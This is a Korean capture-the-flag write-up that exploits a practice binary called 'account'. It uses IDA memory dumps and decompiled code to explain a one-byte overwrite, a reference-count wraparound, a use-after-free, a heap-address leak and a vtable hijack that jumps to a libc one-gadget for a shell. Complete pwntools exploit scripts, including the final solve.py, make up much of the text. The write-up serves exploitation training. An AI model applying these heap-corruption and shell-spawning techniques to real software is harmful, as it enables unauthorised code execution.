MEMORY:00007FFFF7FFA047 db 0 MEMORY:00007FFFF7FFA048 db 0 MEMORY:00007FFFF7FFA049 db 0 MEMORY:00007FFFF7FFA04A dq offset off_7FFFF7FFA05A MEMORY:00007FFFF7FFA052 dq 0 MEMORY:00007FFFF7FFA05A off_7FFFF7FFA05A dq offset unk_4343434343434343 MEMORY:00007FFFF7FFA05A ; DATA XREF: MEMORY:00007FFFF7FFA04A↑o MEMORY:00007FFFF7FFA062 db 0 MEMORY:00007FFFF7FFA063 db 1 MEMORY:00007FFFF7FFA064 db 0 MEMORY:00007FFFF7FFA065 db 0 MEMORY:00007FFFF7FFA066 db 0 MEMORY:00007FFFF7FFA067 db 0 MEMORY:00007FFFF7FFA068 db 0 MEMORY:00007FFFF7FFA069 db 0 MEMORY:00007FFFF7FFA06A db 0 MEMORY:00007FFFF7FFA06B dq offset off_7FFFF7FFA07B MEMORY:00007FFFF7FFA073 dq offset group_vtable MEMORY:00007FFFF7FFA07B off_7FFFF7FFA07B dq offset byte_7FFFF7FFA021 MEMORY:00007FFFF7FFA07B ; DATA XREF: MEMORY:00007FFFF7FFA06B↑o MEMORY:00007FFFF7FFA083 db 0 MEMORY:00007FFFF7FFA084 db 0 MEMORY:00007FFFF7FFA085 db 0 MEMORY:00007FFFF7FFA086 db 0 MEMORY:00007FFFF7FFA087 db 0 MEMORY:00007FFFF7FFA088 db 0 MEMORY:00007FFFF7FFA089 db 0 MEMORY:00007FFFF7FFA08A db 0 MEMORY:00007FFFF7FFA08B db 0 MEMORY:00007FFFF7FFA08C db 0 MEMORY:00007FFFF7FFA08D db 0 MEMORY:00007FFFF7FFA08E db 0 MEMORY:00007FFFF7FFA08F db 0 MEMORY:00007FFFF7FFA090 db 0
여기서 modify_account_data(False, b"\x01", b"D"*8) 수행할 경우:
- 2번째 인덱스 account의
is_utf8_type1바이트 필드가 0으로 덮어써진다.
MEMORY:00007FFFF7FFA000 db 1 MEMORY:00007FFFF7FFA001 db 1 MEMORY:00007FFFF7FFA002 db 0 MEMORY:00007FFFF7FFA003 db 0 MEMORY:00007FFFF7FFA004 db 0 MEMORY:00007FFFF7FFA005 db 0 MEMORY:00007FFFF7FFA006 db 0 MEMORY:00007FFFF7FFA007 db 0 MEMORY:00007FFFF7FFA008 dq offset off_7FFFF7FFA018 MEMORY:00007FFFF7FFA010 dq 0 MEMORY:00007FFFF7FFA018 off_7FFFF7FFA018 dq offset unk_4141414141414141 MEMORY:00007FFFF7FFA018 ; DATA XREF: MEMORY:00007FFFF7FFA008↑o MEMORY:00007FFFF7FFA020 db 0 MEMORY:00007FFFF7FFA021 byte_7FFFF7FFA021 db 0 ; DATA XREF: MEMORY:off_7FFFF7FFA07B↓o MEMORY:00007FFFF7FFA022 db 2 MEMORY:00007FFFF7FFA023 db 0 MEMORY:00007FFFF7FFA024 db 0 MEMORY:00007FFFF7FFA025 db 0 MEMORY:00007FFFF7FFA026 db 0 MEMORY:00007FFFF7FFA027 db 0 MEMORY:00007FFFF7FFA028 db 0 MEMORY:00007FFFF7FFA029 dq offset off_7FFFF7FFA039 MEMORY:00007FFFF7FFA031 dq 0 MEMORY:00007FFFF7FFA039 off_7FFFF7FFA039 dq offset unk_4444444444444444 MEMORY:00007FFFF7FFA039 ; DATA XREF: MEMORY:00007FFFF7FFA029↑o MEMORY:00007FFFF7FFA041 db 0 MEMORY:00007FFFF7FFA042 db 0 MEMORY:00007FFFF7FFA043 db 1 MEMORY:00007FFFF7FFA044 db 0 MEMORY:00007FFFF7FFA045 db 0 MEMORY:00007FFFF7FFA046 db 0 MEMORY:00007FFFF7FFA047 db 0 MEMORY:00007FFFF7FFA048 db 0 MEMORY:00007FFFF7FFA049 db 0 MEMORY:00007FFFF7FFA04A dq offset off_7FFFF7FFA05A MEMORY:00007FFFF7FFA052 dq 0 MEMORY:00007FFFF7FFA05A off_7FFFF7FFA05A dq offset unk_4343434343434343 MEMORY:00007FFFF7FFA05A ; DATA XREF: MEMORY:00007FFFF7FFA04A↑o MEMORY:00007FFFF7FFA062 db 0 MEMORY:00007FFFF7FFA063 db 1 MEMORY:00007FFFF7FFA064 db 0 MEMORY:00007FFFF7FFA065 db 0 MEMORY:00007FFFF7FFA066 db 0 MEMORY:00007FFFF7FFA067 db 0 MEMORY:00007FFFF7FFA068 db 0 MEMORY:00007FFFF7FFA069 db 0 MEMORY:00007FFFF7FFA06A db 0 MEMORY:00007FFFF7FFA06B dq offset off_7FFFF7FFA07B MEMORY:00007FFFF7FFA073 dq offset group_vtable MEMORY:00007FFFF7FFA07B off_7FFFF7FFA07B dq offset byte_7FFFF7FFA021 MEMORY:00007FFFF7FFA07B ; DATA XREF: MEMORY:00007FFFF7FFA06B↑o MEMORY:00007FFFF7FFA083 db 0 MEMORY:00007FFFF7FFA084 db 0 MEMORY:00007FFFF7FFA085 db 0 MEMORY:00007FFFF7FFA086 db 0 MEMORY:00007FFFF7FFA087 db 0 MEMORY:00007FFFF7FFA088 db 0 MEMORY:00007FFFF7FFA089 db 0 MEMORY:00007FFFF7FFA08A db 0 MEMORY:00007FFFF7FFA08B db 0 MEMORY:00007FFFF7FFA08C db 0 MEMORY:00007FFFF7FFA08D db 0 MEMORY:00007FFFF7FFA08E db 0 MEMORY:00007FFFF7FFA08F db 0 MEMORY:00007FFFF7FFA090 db 0
2번쨰 account 그 뒤에는 group 구조체 필드들이 저장되있다.
group 구조체는 다음과 같다.
struct group // sizeof=0x18
{
_DWORD account_count;
_BYTE gap0[4];
void *account_array;
group_vtable *_group_vtable;
};
modify_account_data 를 통해 마찬가지로 \x00 덮어써지는 1바이트 버그로 account_count 필드 중 하위 바이트를 0으로 덮을 수 있기에,
group에 account가 있더라도, delete_group 함수를 호출 할 수 있다.
add_account_to_group 를 호출할때, 내부적으로 add_account_to_group 함수를 호출한다.
__int64 __fastcall increase_account_count(unsigned __int8 account_index)
{
account *_account; // [rsp+8h] [rbp-18h]
if ( account_index < 0x10u && (_account = (account *)account_id_array[account_index]) != 0 )
{
return ++_account->count;
}
else
{
fprintf(MEMORY[0x7FFFF7FAD860], "invalid account id\n");
return (unsigned __int8)-1;
}
}
account 구조체는 다음과 같다.
struct account // sizeof=0x10
{
BOOL is_utf8_type;
unsigned __int8 count;
// padding byte
// padding byte
// padding byte
// padding byte
// padding byte
// padding byte
_QWORD qword8;
};
버그로 아래 과정을 5번 수행했을때 make_group()
→ add_account_to_group(group_index, b"\x01")
→ modify_account_data(False, b"\x02", b"D"*8) → delete_group(b"\x00")
count를 계속 증가시켜 0xff 에서 더 증가시키면,
1번쨰 인덱스의 account의 count 필드를 다시 0으로 만들어줄 수 있다.
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = process("./account")
e = ELF('./account', checksec=False)
def make_account(is_utf8_type, data):
_menu = b"\x00"
if(is_utf8_type):
_is_utf8_type = b"\x01"
else:
_is_utf8_type = b"\x00"
_data = data
payload = _menu + _is_utf8_type + _data
p.send(payload)
return p.recv(1)
def delete_account(index):
_menu = b"\x01"
_index = index
payload = _menu + _index
p.send(payload)
return p.recv(1)
def modify_account_data(is_utf8_type, account_index, data):
_menu = b"\x02"
if(is_utf8_type):
_is_utf8_type = b"\x01"
else:
_is_utf8_type = b"\x00"
payload = _menu + account_index + _is_utf8_type + data
p.send(payload)
r = p.recv(len(data))
info(f"modify_account_Data r: {r}")
return p.recv()
def make_group():
_menu = b"\x10"
p.send(_menu)
return p.recv(1)
def delete_group(group_index):
_menu = b"\x11"
p.send(_menu + group_index)
return p.recv(1)
def add_account_to_group(group_index, account_index):
_menu = b"\x12"
p.send(_menu + group_index + account_index)
return p.recv(1)
def delete_account_from_group(group_index, account_index):
_menu = b"\x13"
p.send(_menu + group_index + account_index)
return p.recv(1)
def list_group(group_index):
p.send(b"\x14" + group_index)
return p.recv()
account_index = make_account(True, b"A"*8) #0
info(f"make_account _index: {account_index}")
account_index = make_account(True, b"B"*8) #1
info(f"make_account _index: {account_index}")
account_index = make_account(True, b"C"*8) #2
info(f"make_account _index: {account_index}")
for i in range(0xff-1):
group_index = make_group() #0
info(f"group_index _index: {group_index}")
add_account_to_group(group_index, b"\x01") #(group_id, account_id)
# pause()
modify_account_data(False, b"\x02", b"D"*8)
# delete_account_from_group(b"\x00", b"\x01") #(group_id, account_id)
delete_group(b"\x00")
0xff번 수행했을때, 1번째 인덱스의 account의 count 필드값이 0으로 됨.

delete_account_from_group을 통한 free 시도.
# ...
group_index = make_group() #0
info(f"group_index _index: {group_index}")
add_account_to_group(group_index, b"\x01") #(group_id, account_id)
# 여기까지 했을때, 1번쨰 인덱스 account의 count 필드값은 1이 됨.
delete_account_from_group(group_index, b"\x01") #group, account
#Free 됨.
delete_account_from_group 수행전 – 0번째 인덱스 group:
account_array[0]은 1번째 인덱스의 account를 가리킴.



delete_account_from_group 수행후 – 0번째 인덱스 group:
- 내부적으로 free_account_id 수행
- 2번의 free를 수행함
free_func((__int64)_account->account_data);free_func((__int64)_account);
account_id_array[1]에는 여전히 남아있음
__int64 __fastcall free_account_id(unsigned __int8 a1)
{
account *_account; // [rsp+8h] [rbp-18h]
if ( a1 < 0x10u && (_account = (account *)account_id_array[a1]) != 0 )
{
if ( !--_account->count )
{
free_func((__int64)_account->account_data);
free_func((__int64)_account);
}
return _account->count;
}
else
{
fprintf(unk_7FFFF7FAD860, "invalid account id\n");
return (unsigned __int8)-1;
}
}
account_array[0]은 1번째 인덱스의 account를 가리킴.nullptr 0 가리킴.



make_group()을 통한 재할당 시도 (UAF)
Code: group_index = make_group()
2번의 할당이 이루어짐.
v0 = alloca((signed __int64)group_array);v1 = alloca((signed __int64)group_array)...
Use-after-free 버그 발생.
account_id_array[1]과group_array[1]은 서로 같은 주소를 가리킴0x7FFFF7FFA021
__int64 make_group()
{
void *v0; // rsp
void *v1; // rsp
int i; // [rsp+10h] [rbp-10h]
for ( i = 0; ; ++i )
{
if ( i >= 16 )
{
fprintf(stderr, "no more group\n");
return (unsigned __int8)-1;
}
if ( !group_array[i] )
break;
}
v0 = alloca((signed __int64)group_array);
if ( group_array
&& (LODWORD(group_array[0]) = 0, v1 = alloca((signed __int64)group_array), (group_array[1] = group_array) != 0) )
{
memset((void *)group_array[1], 0, 0x80u);
group_array[2] = &group_vtable;
group_array[i] = group_array;
return (unsigned __int8)i;
}
else
{
fprintf(stderr, "failed to allocate memory\n");
return (unsigned __int8)-1;
}
}

heap base 누출
이제 list_group 함수 출력을 통해 heap base 주소를 누출시킬 수 있다.
Code:
# ...
add_account_to_group(group_index, b"\x01") #(group_id, account_id)
list_group(b"\x01") #(group_index)
leaked_heap_base = p.recvuntil(b"\x7f")
p.recv(1)
leaked_heap_base = u64(leaked_heap_base.ljust(8, b"\x00")) - 0x21
success(f"leaked_heap_base: {hex(leaked_heap_base)}")


account 추가 생성 및 vtable 주소 삽입
- 생성된 account_array[3] 주소 =
0x0007FFFF7FFA17B
group_vtable_ptr = leaked_heap_base + 0x31 make_account(True, b"E"*8 + p64(group_vtable_ptr))

1, 0번쨰 인덱스 account 제거 후 account 생성, 인덱스0
- G 23바이트 데이터와 함께 account 생성
0x0007FFFF7FFA000주소에 할당- 왜 23바이트? XXX 안그러면 끝에 쉘딸때
add_account_to_group함수 수행시'group is full’에러뜸 - 원래는 vtable에 원가젯 주소가 적혀있어 실행되야하는데? 왜?
delete_account(b"\x01") delete_account(b"\x00") make_account(b"\x01", b"G"*23)
MEMORY:00007FFFF7FFA000 db 1 ; is_utf8_type MEMORY:00007FFFF7FFA001 db 1 ; count MEMORY:00007FFFF7FFA002 db 0, 0, 0, 0, 0, 0 MEMORY:00007FFFF7FFA008 dq offset stru_7FFFF7FFA021 ; account_data MEMORY:00007FFFF7FFA010 db 0 MEMORY:00007FFFF7FFA011 db 0 MEMORY:00007FFFF7FFA012 db 0 MEMORY:00007FFFF7FFA013 db 0 MEMORY:00007FFFF7FFA014 db 0 MEMORY:00007FFFF7FFA015 db 0 MEMORY:00007FFFF7FFA016 db 0 MEMORY:00007FFFF7FFA017 db 0 MEMORY:00007FFFF7FFA018 db 41h ; A MEMORY:00007FFFF7FFA019 db 41h ; A MEMORY:00007FFFF7FFA01A db 41h ; A MEMORY:00007FFFF7FFA01B db 41h ; A MEMORY:00007FFFF7FFA01C db 41h ; A MEMORY:00007FFFF7FFA01D db 41h ; A MEMORY:00007FFFF7FFA01E db 41h ; A MEMORY:00007FFFF7FFA01F db 41h ; A MEMORY:00007FFFF7FFA020 db 0 MEMORY:00007FFFF7FFA021 stru_7FFFF7FFA021 group <47h, <47h, 47h, 47h, 47h, 47h, 47h, 47h>, \ MEMORY:00007FFFF7FFA021 ; DATA XREF: MEMORY:00007FFFF7FFA000↑o MEMORY:00007FFFF7FFA021 offset unk_4747474747474747, offset unk_47474747474747> MEMORY:00007FFFF7FFA039 db 42h ; B MEMORY:00007FFFF7FFA03A db 42h ; B MEMORY:00007FFFF7FFA03B db 42h ; B MEMORY:00007FFFF7FFA03C db 42h ; B MEMORY:00007FFFF7FFA03D db 42h ; B MEMORY:00007FFFF7FFA03E db 42h ; B MEMORY:00007FFFF7FFA03F db 42h ; B MEMORY:00007FFFF7FFA040 db 42h ; B MEMORY:00007FFFF7FFA041 db 0
제거 후 0번째 account 생성시 23바이트여야 vtable에 원가젯 주소가 실행되는 이유
요약: 26바이트인 이유는 0x0007FFFF7FFA021 주소값으로 재할당받기 위해
인덱스 1 account 계정 생성했을때, 0x~21부터 0x~38까지 account 구조체를 위해 할당함 (그 뒤 주소는 account_data 값 들어감)
0x38 - 0x21 = 23

시행 착오:
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = process("./account")
e = ELF('./account', checksec=False)
def make_account(is_utf8_type, data):
_menu = b"\x00"
if(is_utf8_type):
_is_utf8_type = b"\x01"
else:
_is_utf8_type = b"\x00"
_data = data
payload = _menu + _is_utf8_type + _data
p.send(payload)
return p.recv(1)
def delete_account(index):
_menu = b"\x01"
_index = index
payload = _menu + _index
p.send(payload)
return p.recv(1)
def modify_account_data(is_utf8_type, account_index, data):
_menu = b"\x02"
if(is_utf8_type):
_is_utf8_type = b"\x01"
else:
_is_utf8_type = b"\x00"
payload = _menu + account_index + _is_utf8_type + data
p.send(payload)
r = p.recv(len(data))
info(f"modify_account_data r: {r}")
return p.recv(timeout=0.5)
def make_group():
_menu = b"\x10"
p.send(_menu)
return p.recv(1)
def delete_group(group_index):
_menu = b"\x11"
p.send(_menu + group_index)
return p.recv(1)
def add_account_to_group(group_index, account_index):
_menu = b"\x12"
p.send(_menu + group_index + account_index)
return p.recv(1, timeout=0.5)
def delete_account_from_group(group_index, account_index):
_menu = b"\x13"
p.send(_menu + group_index + account_index)
return p.recv(1)
def list_group(group_index):
p.send(b"\x14" + group_index)
# return p.recv()
account_index = make_account(True, b"A"*8) #0
info(f"make_account _index: {account_index}")
account_index = make_account(True, b"B"*8) #1
info(f"make_account _index: {account_index}")
account_index = make_account(True, b"C"*8) #2
info(f"make_account _index: {account_index}")
for i in range(0xff):
group_index = make_group() #0
info(f"group_index _index: {group_index}")
add_account_to_group(group_index, b"\x01") #(group_id, account_id)
# pause()
modify_account_data(False, b"\x02", b"D"*8)
# delete_account_from_group(b"\x00", b"\x01") #(group_id, account_id)
delete_group(b"\x00")
group_index = make_group() #0
info(f"group_index _index: {group_index}")
add_account_to_group(group_index, b"\x01") #(group_id, account_id)
# 여기까지 했을때, 1번쨰 인덱스 account의 count 필드값은 1이 됨.
delete_account_from_group(group_index, b"\x01") #(group_id, account_id)
#Free 됨.
group_index = make_group() #1
#Use 됨.
add_account_to_group(group_index, b"\x01") #(group_id, account_id)
list_group(b"\x01") #(group_index)
leaked_heap_base = p.recvuntil(b"\x7f")
p.recv(1)
leaked_heap_base = u64(leaked_heap_base.ljust(8, b"\x00")) - 0x21
success(f"leaked_heap_base: {hex(leaked_heap_base)}")
group_vtable_ptr = leaked_heap_base + 0x31
make_account(True, b"E"*8 + p64(group_vtable_ptr))
delete_account(b"\x01")
delete_account(b"\x00")
make_account(True, b"G"*23) #account_index=0 (is_utf8_type, account_data)
libc_base = leaked_heap_base - 0x268000
og = libc_base + 0xebc81
make_account(True, b"B"*16+ p64(og)) #account_index=1 (is_utf8_type, account_data)
pause()
MEMORY:00007FFFF7FFA000 db 1 ; is_utf8_type MEMORY:00007FFFF7FFA001 db 1 ; count MEMORY:00007FFFF7FFA002 db 0, 0, 0, 0, 0, 0 MEMORY:00007FFFF7FFA008 dq offset stru_7FFFF7FFA021 ; account_data MEMORY:00007FFFF7FFA010 db 0 MEMORY:00007FFFF7FFA011 db 0 MEMORY:00007FFFF7FFA012 db 0 MEMORY:00007FFFF7FFA013 db 0 MEMORY:00007FFFF7FFA014 db 0 MEMORY:00007FFFF7FFA015 db 0 MEMORY:00007FFFF7FFA016 db 0 MEMORY:00007FFFF7FFA017 db 0 MEMORY:00007FFFF7FFA018 db 41h ; A MEMORY:00007FFFF7FFA019 db 41h ; A MEMORY:00007FFFF7FFA01A db 41h ; A MEMORY:00007FFFF7FFA01B db 41h ; A MEMORY:00007FFFF7FFA01C db 41h ; A MEMORY:00007FFFF7FFA01D db 41h ; A MEMORY:00007FFFF7FFA01E db 41h ; A MEMORY:00007FFFF7FFA01F db 41h ; A MEMORY:00007FFFF7FFA020 db 0 MEMORY:00007FFFF7FFA021 stru_7FFFF7FFA021 db 47h ; account_count MEMORY:00007FFFF7FFA021 ; DATA XREF: MEMORY:00007FFFF7FFA000↑o MEMORY:00007FFFF7FFA022 db 47h, 47h, 47h, 47h, 47h, 47h, 47h ; gap0 MEMORY:00007FFFF7FFA029 dq offset unk_4747474747474747 ; account_array MEMORY:00007FFFF7FFA031 dq offset unk_47474747474747 ; _group_vtable MEMORY:00007FFFF7FFA039 db 42h ; B MEMORY:00007FFFF7FFA03A db 42h ; B MEMORY:00007FFFF7FFA03B db 42h ; B MEMORY:00007FFFF7FFA03C db 42h ; B MEMORY:00007FFFF7FFA03D db 42h ; B MEMORY:00007FFFF7FFA03E db 42h ; B MEMORY:00007FFFF7FFA03F db 42h ; B MEMORY:00007FFFF7FFA040 db 42h ; B MEMORY:00007FFFF7FFA041 db 0
22바이트 일경우:
이전 할당한 크기와 달라 account 생성시 0x7FFFF7FFA1A2 주소로 할당받음!!!
0x7FFFF7FFA1A2 ≠ 0x7FFFF7FFA021 mismatch.
0x7FFFF7FFA021은 account_array[1], group_array[1]의 주소를 의미. 연속된 G 문자열 자체가 덮히지 않음. 23바이트였다면 덮혀야 함.
MEMORY:00007FFFF7FFA000 db 1 ; is_utf8_type MEMORY:00007FFFF7FFA001 db 1 ; count MEMORY:00007FFFF7FFA002 db 0, 0, 0, 0, 0, 0 MEMORY:00007FFFF7FFA008 dq offset off_7FFFF7FFA1A2 ; account_data MEMORY:00007FFFF7FFA010 db 0 MEMORY:00007FFFF7FFA011 db 0 MEMORY:00007FFFF7FFA012 db 0 MEMORY:00007FFFF7FFA013 db 0 MEMORY:00007FFFF7FFA014 db 0 MEMORY:00007FFFF7FFA015 db 0 MEMORY:00007FFFF7FFA016 db 0 MEMORY:00007FFFF7FFA017 db 0 MEMORY:00007FFFF7FFA018 db 41h ; A MEMORY:00007FFFF7FFA019 db 41h ; A MEMORY:00007FFFF7FFA01A db 41h ; A MEMORY:00007FFFF7FFA01B db 41h ; A MEMORY:00007FFFF7FFA01C db 41h ; A MEMORY:00007FFFF7FFA01D db 41h ; A MEMORY:00007FFFF7FFA01E db 41h ; A MEMORY:00007FFFF7FFA01F db 41h ; A MEMORY:00007FFFF7FFA020 db 0 MEMORY:00007FFFF7FFA021 db 1 ; account_count MEMORY:00007FFFF7FFA022 db 1, 0, 0, 0, 0, 0, 0 ; gap0 MEMORY:00007FFFF7FFA029 dq offset off_7FFFF7FFA1B9 ; account_array MEMORY:00007FFFF7FFA031 dq offset group_vtable ; _group_vtable MEMORY:00007FFFF7FFA039 db 42h ; B MEMORY:00007FFFF7FFA03A db 42h ; B MEMORY:00007FFFF7FFA03B db 42h ; B MEMORY:00007FFFF7FFA03C db 42h ; B MEMORY:00007FFFF7FFA03D db 42h ; B MEMORY:00007FFFF7FFA03E db 42h ; B MEMORY:00007FFFF7FFA03F db 42h ; B MEMORY:00007FFFF7FFA040 db 42h ; B MEMORY:00007FFFF7FFA041 db 0
계정 생성, 인덱스1
0x0007FFFF7FFA1A2주소에 할당- 이는 곧
account_data에 임의의 데이터가 써지는데, 해당 데이터 주소는 곧 1번쨰 인덱스 group의 vtable에 써지는것임.
libc_base = leaked_heap_base - 0x268000 og = libc_base + 0xebc81 make_account(b"\x01", b"B"*16+ p64(og))

modify_account_data
# account_id_array[1]'s account_data account_id_array1_data = leaked_heap_base + 0x1ba modify_account_data(False, b"\x00", b"C"*16 + p64(account_id_array1_data))

마지막.. vtable을 통한 원가젯 실행
이제 group_array의 1번째 인덱스로 vtable의 delete_account_from_group 실행시키려 하면, 원가젯이 실행됨.
v7 = 0x0007FFFF7FFA021
v7->_group_vtable = 0x7FFFF7FFA1BA
v7->_group_vtable->delete_account_from_group = 원가젯 주소
add_account_to_group(b"\x01", b"\x00") #(group_id, account_id)
case '\x13':
if ( a2 != 3 )
goto LABEL_29;
if ( (unsigned __int8)a1[1] >= 0x10u )
goto LABEL_32;
v7 = (group *)group_array[(unsigned __int8)a1[1]];
if ( !v7 )
goto LABEL_32;
v6 = v7->_group_vtable->delete_account_from_group(a1[1], a1[2]);
printf("%c", v6);
v17 = v6;
break;


solve.py
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = process("./account")
e = ELF('./account', checksec=False)
def make_account(is_utf8_type, data):
_menu = b"\x00"
if(is_utf8_type):
_is_utf8_type = b"\x01"
else:
_is_utf8_type = b"\x00"
_data = data
payload = _menu + _is_utf8_type + _data
p.send(payload)
return p.recv(1)
def delete_account(index):
_menu = b"\x01"
_index = index
payload = _menu + _index
p.send(payload)
return p.recv(1)
def modify_account_data(is_utf8_type, account_index, data):
_menu = b"\x02"
if(is_utf8_type):
_is_utf8_type = b"\x01"
else:
_is_utf8_type = b"\x00"
payload = _menu + account_index + _is_utf8_type + data
p.send(payload)
r = p.recv(len(data))
info(f"modify_account_data r: {r}")
return p.recv(timeout=0.5)
def make_group():
_menu = b"\x10"
p.send(_menu)
return p.recv(1)
def delete_group(group_index):
_menu = b"\x11"
p.send(_menu + group_index)
return p.recv(1)
def add_account_to_group(group_index, account_index):
_menu = b"\x12"
p.send(_menu + group_index + account_index)
return p.recv(1, timeout=0.5)
def delete_account_from_group(group_index, account_index):
_menu = b"\x13"
p.send(_menu + group_index + account_index)
return p.recv(1)
def list_group(group_index):
p.send(b"\x14" + group_index)
# return p.recv()
account_index = make_account(True, b"A"*8) #0
info(f"make_account _index: {account_index}")
account_index = make_account(True, b"B"*8) #1
info(f"make_account _index: {account_index}")
account_index = make_account(True, b"C"*8) #2
info(f"make_account _index: {account_index}")
# pause()
for i in range(0xff):
group_index = make_group() #0
info(f"group_index _index: {group_index}")
add_account_to_group(group_index, b"\x01") #(group_id, account_id)
# pause()
modify_account_data(False, b"\x02", b"D"*8)
# delete_account_from_group(b"\x00", b"\x01") #(group_id, account_id)
delete_group(b"\x00")
group_index = make_group() #0
info(f"group_index _index: {group_index}")
add_account_to_group(group_index, b"\x01") #(group_id, account_id)
# 여기까지 했을때, 1번쨰 인덱스 account의 count 필드값은 1이 됨.
delete_account_from_group(group_index, b"\x01") #(group_id, account_id)
#Free 됨.
group_index = make_group() #1
#Use 됨.
add_account_to_group(group_index, b"\x01") #(group_id, account_id)
list_group(b"\x01") #(group_index)
leaked_heap_base = p.recvuntil(b"\x7f")
p.recv(1)
leaked_heap_base = u64(leaked_heap_base.ljust(8, b"\x00")) - 0x21
success(f"leaked_heap_base: {hex(leaked_heap_base)}")
group_vtable_ptr = leaked_heap_base + 0x31
make_account(True, b"E"*8 + p64(group_vtable_ptr))
delete_account(b"\x01")
delete_account(b"\x00")
# pause()
make_account(True, b"G"*23) #account_index=0 (is_utf8_type, account_data)
libc_base = leaked_heap_base - 0x268000
og = libc_base + 0xebc81
make_account(True, b"B"*16+ p64(og)) #account_index=1 (is_utf8_type, account_data)
# pause()
# account_id_array[1]'s account_data
account_id_array1_data = leaked_heap_base + 0x1ba
# (account_index, data)
modify_account_data(False, b"\x00", b"C"*16 + p64(account_id_array1_data))
# pause()
add_account_to_group(b"\x01", b"\x00") #(group_id, account_id)
p.interactive()
